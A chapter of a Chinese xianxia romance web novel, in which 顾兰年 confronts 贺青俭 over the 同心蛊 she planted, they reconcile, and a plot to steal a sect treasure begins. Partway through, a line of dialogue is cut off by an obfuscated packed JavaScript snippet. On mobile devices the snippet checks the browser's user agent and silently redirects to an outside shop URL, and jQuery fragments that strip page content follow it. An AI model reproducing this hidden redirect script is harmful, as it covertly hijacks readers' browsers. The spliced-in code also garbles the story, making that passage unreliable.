63. 请君

作品:《反派委身男主求生

    顾兰年知道同心蛊是她亲手下的。


    她自以为埋藏最深的秘密,他竟早就知道了!


    短短半盏茶时间,她已震惊太多次。


    一回生二回熟,她有点麻了。


    这样的关头,她心里竟是句吐槽:人真是不可貌相,这厮平日不声不响,竟悄默声地知道这么多!


    见她脸上渐露死猪不怕开水烫的表情,顾兰年心下了然,步步紧逼已是无用,他得换个攻法。


    于是,他也和缓了神色,一倾身就将她尽拢入怀。


    暖意自二人胸膛相贴处,一寸寸渗进贺青俭那饱经折磨的心脏,她喘过一口气,整个人却仍怔怔地,没太回过神来,不解原定好的诀别怎么就成了这副模样。


    腰间微动,她感到一只手在扯她的腰带。


    “你要干什么?”她警惕。


    这人有前科,喝点酒就要撒疯。


    顾兰年不答,只一味动作。


    贺青俭能感受到他把那根碍事的带子轻车熟路解开,微冷手指探进里衣布料,骤然的凉刺得她轻轻瑟缩,那指尖略顿了顿,应是燃了点灵力,温暖不少。


    依循记忆,顾兰年摸进她里衣内侧的小兜,“唰”一声扯出一个小巧纸包,紧接着,就听边上水缸传来“哗啦”轻响。


    “哎——你别!”贺青俭大惊,定睛细瞧才发现他其实并没把药包丢进去,方才只是弹入一粒小巧石子。


    “好毒啊~”就见他夹着那纸包在她眼前晃了晃,幽幽喟叹,“鱼都不吃的东西,你舍得拿来药我?”


    贺青俭无言以对,一摊手,破罐破摔:“你既都知道了,打算怎么样?”


    “怎么样啊……”顾兰年歪头,看似在斟酌,眸中黠光一转,又骤然出击,在她侧颊亲了一口,他半诱半哄:“贺青俭,我们做个交易。”


    “刚不是说了么,让你心疼心疼我,”他一副公平公正的语气,“我不让你白心疼。你心疼我,我也心疼你,你一辈子陪着我,我也一辈子陪着你。”


    一辈子,肉缠在一起,魂牵在一起,灰也化在一起。


    说着,他指尖顺着她脑后青丝自发顶一路抚到背脊,轻轻拍动那单薄的骨头和薄薄一层皮肉,声音里带着喟叹般气息:“我们阿俭一个人走这么久,真是辛苦了。”


    此句一出,贺青俭在短暂的空茫后,泪腺不由分说活跃起来,如卸了力般,她身子一软,头往前一栽,就抵在他肩头,久违地哭出声来。


    她哭得好难过,像要把自穿入这个世界后忍过的泪一并哭尽似的。


    抽噎声中,恍惚听得顾兰年说了最后一句。


    “既然同心蛊已把我绑上了你的贼船,以后不管去哪、做什么,都带着我一起走吧。”


    三月初三,人间上巳,草长莺飞。


    她最深沉的惶恐被顾兰年平和化解,至此两人之间已没什么了不得的秘密。


    贺青俭仰头,泪雾中隐约可见天光耀目。


    一直以来,她的处境都颇有些尴尬:世界之大,似无处不可留;四海之内,又无处心可安。


    然此时此刻,她的眼泪在顾兰年唇畔找到了它不菲的重量,不复轻于鸿毛。


    一个飘渺的念头翩然落入脑海——她那无处不在、无从遣释的流浪心事仿佛暂停于今日。


    微风搅碎一声轻轻也长长的叹息。


    情愫翻涌如逆水,爱与不爱皆不进则退。


    贺青俭只觉今日怕是走不了了。


    -


    很突兀的转折。


    话本子都写不出的大起大落,贺青俭短短一餐饭时间就经历了。


    黄昏时分,她仍是回了七曜山,与谯笪岸然的共逃亡计划虽因顾兰年横插的一杠子而中道崩殂,但偷盗秘珠一事两人尚需合作,不光为完成弑心的任务,更重要的,此物有净化之能,或可清除弑心在她和谯笪岸然身上打下的印记。


    好不容易把人又争又抢回来,顾兰年不放心她,自然一路随行,边走还兴致勃勃规划怎么帮这俩魔教狂徒偷盗自家宗门至宝。


    “别紧张,等会儿还有顾哥哥帮你呢~”


    贺青俭:“。”


    这人倒戈的速度、胳膊肘外拐的角度无一不令她心生震撼。


    “顾哥哥给你刷个脸,支离山中护卫躲着你走。”顾兰年仍在说,方方面面都考虑得周全。


    说者无意,听者有心,经他这样一句,从前一直不曾留意的细节一个个在记忆里探头,总算被她注意到。


    “顾兰年。”她问,“过去我行动时,你是不是也帮过我?”


    记得初穿入此地,作为一个普通了二十余年的人,她全无卧底素养,却要硬着头皮完成弑心给的任务,好几次行动后才想起过程中留了破绽,惴惴数日却无人发现,无事发生,想来或许也都有人帮她遮掩过。


    顾兰年笑了声,掌心蹭了蹭她发顶:“啊,好聪明啊~”


    语气欠揍,且逗弄意味十足,仿佛在拍着她脑袋赞叹了句“好瓜”。


    贺青俭:“。”


    顾兰年骚完又笑:“所以,看在我帮你那么多回的份上,你也帮帮我。”


    “我帮你什么?”


    “我师父总不会一直昏迷,等他醒了,只怕又要逼我,你得帮我逃了擎谷这门婚事。”就听他道。


    此话一出,贺青俭面色又精彩起来。


    “怎么,你想耍赖?”


    “不是,其实……这婚事也不是非逃不可……”具体情况有些复杂,眼见七曜山门近在眼前,她便与他商量,“先办事吧,等办完,我告诉你个秘密。”


    顾兰年出山门时用了隐息匿形符,符咒仅此一张,他身上没有多的。


    于是可怜的守门人便看着“重病”至无法参会议事的顾少主“垂死病中惊坐起”,自山下悠悠哉踱了上来,面色红润,满身活力,健康得令人歆羡。


    谯笪岸然与贺青俭有同根铃相连,贺青俭一回来,他那边即刻知晓,很快便有传音灵蜂前来引路。


    “我在生杀岗,净灵大阵外围……”他压着声,字句遮掩而断续,料想说话不是很方便。


    生杀岗位于天枢、天璇、天玑、天权之间,正处在“北斗七星”中四星合抱的那一点,除去惩戒严重违反山规的弟子示众,寻常时终年挂着灵锁,鲜少启用。


    或许因沾过血,亦或因终日无人,此处从地心往上泛出幽幽阴气。


    同时,因此处距离七曜最重要的四峰都很近,又鲜少有人踏足,生杀岗地底也是七曜灵脉分布的中心,如今特殊关头,持有天罡秘珠的叶皋悯及部分高层进入其中,余下相对有身份的人则聚在外围。


    意外地,谯笪岸然被师父水红狂留在岗外。


    师父的重用打乱了他原本与贺青俭汇合的计划,他只好偷偷传音给她:“生杀岗东南方向有条小路,等会儿你就在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115362|186476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那条路上等我……”


    此话没头没尾,贺青俭不知那边情况,遂问:“不是在净灵大阵么?你怎么确定他会走那条小路?”


    “他会不会我不知道,”谯笪岸然顿了顿,“但你不是说时机要主动创造?我会引他去。”


    贺青俭再问,他就不肯多说了。


    顾兰年与她贴得紧,将传音内容听得清楚,听后扬起一侧眉梢,饶有兴致道:“看来你们是真不熟,之前没一起配合过任务吧?”


    行动在即,贺青俭有些紧张,没理会他这勾栏做派的争锋斗艳。


    顾兰年却似铁了心要斗到底,眼珠一转,倾身凑到她耳侧:“别慌,他不靠谱,顾哥哥给你把人引来。”


    说着,他指尖灵力暗蓄,似要炸点什么大动静,却被贺青俭劈手拦下。


    就见她掏出深渊口袋,从中取出只巴掌大小的瓷瓶,瓶中是些彩色粉末,颜色堪称漂亮,映着黄昏斜阳,还闪闪地发出光。


    生杀岗东南方向的小路毗邻灵溪,灵溪汩汩,汇入环山灵河,山中人用水皆自河中取用。


    这昏朦砂是定下计划后贺青俭向谯笪岸然要来的。


    因总感到不安,她通常习惯在手里攥上些实在的东西,这会儿还真派上了用场。


    贺青俭手持昏朦砂,顺灵溪溯游,沿途洒了一路。她抱臂看溪水东南流,诱饵般引秘珠上钩。


    生杀岗外。


    谯笪岸然觉得很衰。


    这是他生平第一次感受到,优秀竟也是一种罪。


    为博得叶皋悯和几位长老的信任,早日获知有关秘珠的更多秘辛,谯笪岸然凡事积极表现。他本就天资过人,悟性极高,样貌又生得养眼,平日扮出副乖巧相,甚得师父水红狂青眼。


    今日叶掌峰亲持宗门至宝天罡秘珠净化山中邪气,机会千载难逢,水红狂私心将这个新收的徒儿留下见世面,两人在外围边看,她还边给谯笪岸然讲解一二。


    谯笪岸然面上作顿悟状,心下急得五内欲焚,只恨无从脱身。


    生杀岗中,叶皋悯手持他做了血记的天罡秘珠,那隐隐的腥气挑逗他浑身血液,只恨身周大能太多,他没把握得手后全身而退,只好暂且苟住,眼睁睁看着珠子在不远处晃却不能出手。


    如立针毡之际,忽有玉衡弟子奔来禀报:“掌峰,邪气仍在增加,似乎是通过灵河来的,一路水流过的地方都被殃及了。”


    地脉这边工作刚刚收尾,太久没活动过筋骨的叶皋悯累得喘息如狗,好不容易完事,麻烦又新添一茬,一个白眼险些厥过去。


    “怎么回事?”他压抑虚弱的颤音,勉力稳重。


    “我们刚派人查过,邪气污染似乎是从东南方向那条支流汇入的环山灵河,越往那边走,邪气越趋浓郁。”


    闻言,场上众人有的乱了方寸,有的怒发冲冠,谯笪岸然听罢却不易察觉地勾了下唇。


    他自然知道是谁的手笔,没想到他这个队友看着行事不甚积极,关键时刻竟很靠谱。


    有人当即劝道:“叶掌峰,不若我等前往东南方向探上一探?”


    叶皋悯却是抬手做了个禁言手势。


    他的脑子虽不常动,萎缩得却不算太彻底,至少有关秘珠,在他颅内有根敏感的神经一直绷紧,稍一扯动,便响起巍巍颤音。


    就见他冷鸷的老眼一抬,难得精明:“去是一定要去,但不能就这么送上门去。”